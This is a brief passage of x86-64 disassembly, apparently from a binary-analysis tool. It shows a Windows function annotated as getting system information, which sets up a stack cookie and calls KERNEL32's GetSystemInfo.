mov rax, rdx
ret
Function at 0x1800061a0
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
push r14
push r15
sub rsp, 0x98
mov rax, qword [0x180105010]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rdi, rcx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]